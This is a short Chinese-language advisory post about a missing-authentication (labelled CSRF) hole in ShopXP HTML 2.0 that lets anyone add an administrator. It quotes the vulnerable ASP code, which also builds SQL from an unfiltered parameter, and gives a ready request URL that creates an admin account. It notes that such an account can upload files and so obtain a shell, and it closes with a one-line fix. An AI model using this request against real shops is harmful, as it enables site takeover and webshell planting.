程序:shopxp html版2.0,1.0的应该也是一样的存在
漏洞 说明:直接添加管理员
分析:
<!--#include file="xp.asp"--> <% dim adminid,action action=request.QueryString("action") adminid=request.QueryString("id") if adminid="" then adminid=request("adminid") select case action case "save" set rs=server.CreateObject("adodb.recordset") rs.Open "select * from [shopxp_admin] where adminid="&adminid,conn,1,3
………………………………
rs.Update rs.Close set rs=nothing response.Write "<script language=javascript>alert(操作成功!);history.go(-1);</script>" case "del" conn.execute "delete from [shopxp_admin] where adminid in ("&adminid&") " response.Redirect "manageuser.asp" response.Redirect request.servervariables("http_referer") end select %>
调用的xp.asp:
<!--#include file="database_name.asp" --> <% dim conn,connstr,db startime=timer() db="shopxp/"&dataname&"" 数据库 on error resume next 尝试连数据库,一直到超时,但可以加强SQL注入过滤 connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) connstr="DBQ="+server.mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" set conn=server.createobject("ADODB.CONNECTION") conn.open connstr %>
嘿嘿,也是未做过滤和验证的,那么就产生了个直接添加管理员的漏洞。
asp ?action=add&admin2=qing&password2=qing520&Submit2=%CC%ED%BC%D3%B9%DC%C0%ED%D4%B1"> http://127.0.0.1:99/admin/savexpadmin.asp?action=add&admin2=qing&password2=qing520&Submit2=%CC%ED%BC%D3%B9%DC%C0%ED%D4%B1
其中的admin2和password2是要添加的管理员的用户名和密码
添加的用户虽然权限不是最高的管理员权限,但拥有编辑和上传图片的权限,就足够拿shell了。
至于拿shell的方法我就不说了,大家都知道的。
form:流浪的风,由情编辑整理
修复:在官方升级程序,或者针对性过滤和验证
查看更多关于shopxp html版2.0 CSRF漏洞及修复 - 网站安全 - 自学的详细内容...